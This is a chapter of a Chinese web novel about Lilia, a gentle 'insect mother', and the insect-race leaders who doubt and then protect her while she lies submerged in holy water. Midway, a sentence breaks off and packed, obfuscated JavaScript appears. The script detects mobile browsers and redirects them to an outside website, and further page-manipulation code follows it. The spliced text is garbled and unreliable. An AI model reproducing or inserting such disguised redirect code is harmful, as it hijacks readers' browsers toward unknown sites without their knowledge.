莉莉亚的面前是一个巨大的特制容器,里面装着透明液体,在冷光的照射下令人感到窒息。
“阿姆尼依圣水可以保护您,除非您进入其中,否则,将永远无法找寻到他们。”
莉莉亚没想到阿拉里克的条件如此简单,这根本不需要思考:“好,我会待在里面的。”
她的声音有些哑,说话间总是忍不住咳嗽。
卡尼菲克斯看着她迫不及待地要走进他们的陷阱,忽然记起,这段时间,是他陪伴着她。
似乎从她见过塞尔托里乌斯之后,就变得怏怏不乐,不喜欢说话了。
那些虫侍很着急,却被塞尔托里乌斯警告,不用寻找维塔利斯。
他认为一切都还在掌控之中,小虫母只不过是在发点无伤大雅的小脾气,故意不说话而已,或许这只是她的恶作剧,不然为什么连自己都要拒绝维塔利斯。
塞尔托里乌斯告诉自己,她没有心疼他们,只不过是天生擅长迷惑虫族而已,所有的一切不过是她偶然兴起。
可第五天,莉莉亚还是这般,甚至更加沉默。每天都皱着一张小脸,看见虫族时却会挤出点笑。
“笑得真难看。”塞尔托里乌斯才不管她不高兴于这个评价,他已经派人去找维塔利斯了。
被发现真相又怎么样,他大可以控制住那个小小的医师。
就是不想再看见莉莉亚这样沉默,她不说话时,整个主星就陷入千年间的沉默。
可是她拒绝了,躲起来,说什么都不愿意去找维塔利斯。
塞尔托里乌斯知道,她甚至废了好大力气用柜子抵住门,还自以为隐蔽地藏进了柜子里。
他抬手敲了敲门,用了点精神力,轻声却不容置疑地说:“出来。”
说完又有些懊恼,会不会吓到她:“我不进去,你现在从柜子里出来,听话。”
藏在柜子里的莉莉亚有些委屈,她只是不想孩子们担心而已,塞尔为什么要凶她。
前几日被塞尔托里乌斯亲手缠在她身上的精神力感知到她的情绪,讨好地蹭蹭她软乎的脸颊。
他可以面无表情地杀死所有的敌人,却无法应对这样柔软的存在。
见她还是不愿意,甚至委屈地要落泪,从无败绩的男人率先投降:“我保证不去找维塔利斯。”
“也不告诉别人。”
他一说完,莉莉亚就钻了出来,爬上床,要睡觉了。
因为她相信,塞尔是不会骗她的,虽然他总是一副你很麻烦的样子,却从来不想有意惹她伤心的。
莉莉亚说我是一个宽容的好妈妈,我原谅塞尔了。
塞尔托里乌斯进来的时候,她已经睡着了。
外化的精神力替她掖好被子,乖乖缠在她的手腕上,完全看不出它能杀人于无形。
床边的男人看了一眼那不知天高的精神力。
很好,这么快就成了摇着尾巴求她垂怜的狗。
真是给他丢脸。
卡尼菲克斯第一次收到塞尔托里乌斯的个人信息——记得哄她去见维塔利斯。
*
即使是卡尼菲克斯也没有成功,莉莉亚第一次展现出她的执拗,拒绝去看医生。
好在她的喉咙慢慢好了,开始恢复之前的状态。
此刻,莉莉亚淹没在那透明的圣水之中,一开始,她好像有害怕,紧紧攥着裙角,睫羽乱颤。
慢慢的,她平静下来,她要去找他们了。
卡尼菲克斯并不知道她是如何躲过层层守卫,偷偷跟着他来到这里的。
虫母可以控制虫族的思想,若是她想的话,确实可以蒙蔽他们的双眼。
可她如何能经受那般强度的时空跃迁,她那么弱小,要如何在宇宙罡风中保护自己。
阿拉里克却已经拿到了行军记录,他们看着记录仪中的小虫母。
宇宙罡风猛烈地吹着,弱一点的虫族士兵都要蜷缩身体,她连站都站不稳,只能趴下,躲在一旁的武器堆中,惨白着小脸,不住颤抖。
来到这里之后,被无声质疑着,被逼迫着证明自己,她都对自己的经历一声不吭,好像那个受伤的人不是她。
所有人都忍不住去看她,他们小小的妈妈被圣水淹没,那圣水不会流动,只是平静地包裹着她。
在冷光之下,好像有什么闪烁在她的脸颊。
她流泪了吗?
她为什么流泪?
她知道他们曾经怀疑她,质疑她,要求她了吗?
她会厌恶他们吗?
*
尤安站在最角落,一脸灰败,他看见了莉莉亚的选择,她那么坚定,她那么爱他们。
可他还是相信自己的判断,虫化的锋利指甲深深陷进他的掌心,血沿着指缝一滴一滴往下落,他绝不会认错母亲。
“你宁愿相信自己不会认错她,也不愿意相信她。”阿拉里克看着他,微笑着说。
“但是虫巢思维的强大,您比我清楚。我可以用我的生命立誓,那不是精神攻击,那是一道命令,居高临下,她要我们投降。”尤安还是坚持。
卡尼菲克斯直截了当地说:“他们醒来后,只要调动虫巢思维,真相就会浮现。”
那个时候,是被迫接受再次被舍弃的现实,还是祈求她的原谅,他们都必须做出选择。
阿拉里克见时间差不多了,他该去谈判了。
这个刚刚算计了虫母的执政官要奔赴属于他的战场了。
卡尼菲克斯也要去安置战士,留下的虫族将会在此处,拼尽一切守护着他们的母亲。
就在此时,所有人的光脑响动。
全体法布尔都发送了这条信息,有人打开,莉莉亚曾经弹奏的钢琴曲倾泻而出。
“这是母亲为我们弹奏的曲子,她弹奏的时候一直在笑。”
“我的意思是,这样的她会伤害我们吗?”
她在圣水之中,如同镜中圣母,脆弱优雅。
可本该被保护的母亲却静静地流泪,她磅礴的悲伤如暴雨一般,压得他们喘不过气来,这是前所未有的痛苦。
阿拉里克隔着玻璃看着莉莉亚,她的眼泪是断线的珍珠,对于他这样了解古地球文明的人来说,这首曲子,不够连贯,不够动听,但却比他曾听过的任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460479|169734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何音乐都让他平静。
他甚至能够想象,莉莉亚还是穿着她喜欢的墨绿的长裙,坐在那白色钢琴前,边弹奏边羞涩。
她的指法有些凌乱,不够熟练,但还是红着耳朵坚持,因为她坚信一个好妈妈要给孩子们谈摇篮曲。
阿拉里克很早就发现了,莉莉亚不像任何一位虫母,她更像是古地球记录中的母亲,愿意为了孩子付出一切。
她并不熟练,就是一个新手妈妈,不知道如何树立母亲的威严,更不知道虫族的欲望。
他们不会只愿意让她做他们的母亲,她必须是他们的妻子,是他们欲望的最后归宿。
如果有一天,这个天真的妈妈发现了他们粘腻隐晦的心思,会是怎样的反应呢?
阿拉里克饶有趣味地想,或许只有那个时候,她的眼泪才不会让人心痛吧。
他想起初见时,她犹豫再三,不曾说出自己的名字。一开始,他以为那个未说出口的名字会是玛提亚,可是现在,他否定了曾经的自己,他想知道她的名字。
那个属于她的名字。
*
“日安,阿拉里克执政官。”
“我并不认为,我应该感到安心,里托主席。”
光幕之中的男人看上去年岁极大,岁月在他脸上留下了不可磨灭的痕迹,却也雕琢了他的能力。
里托是联邦联席制的创始人,他曾是享誉星际的英雄。
这个男人率领起义军杀死了帝国君王,推翻了层层固化的统治,他一手建立联邦,又选择急流勇退,将权柄交予所有人。
他说:自由属于联邦。
可是阿拉里克清楚,权力是缠绕的毒蛇,凡是拥有过的人都不会轻易放弃。
就如同现在的联邦,表面上高喊自由,有着无视阶级的轮值主席,可是权力还是牢牢掌握在里托手中。
“对于虫族的遭遇,我深表遗憾。”
“可您清楚,联邦并非我的一言堂,还请恕罪。”
阿拉里克不知可否,笑着说:“里托主席未免太过谦虚,联邦之中,唯有您真正热爱和平与自由,我又怎会不懂。”
里托的脸上瞬间展露一个笑容,眼中如古井般,毫无笑意:“眼前人非所念人,或许,执政官不应该对虫族的忠心这般自信。”
他们又打太极般地说话,比起他的狠辣,阿拉里克显得进退有度,却没失去一分该有的利益。
里托脸上不恼,心中却还是有气。是啊,千年过去了,他已经老了,阿拉里克却还是年轻,他是虫族,拥有超越联邦众人的生命。
没有什么可以威胁他一手创立的联邦,这是他的联邦。
在结束交易的那一刻,阿拉里克清楚地看见,这个狡诈的男人无声地喊道:“玛提亚。”
他竟然知道虫母的名字,可实际上,虫母的名字总是被虫族珍藏,他们绝不会让其他种族窥见他们的母亲。
里托是故意的,他在告诉阿拉里克:我曾见过虫母。
他喊得是上一任出走的虫母,还是如今沉睡的,他们的妈妈。
阿拉里克由衷希望,不会是她。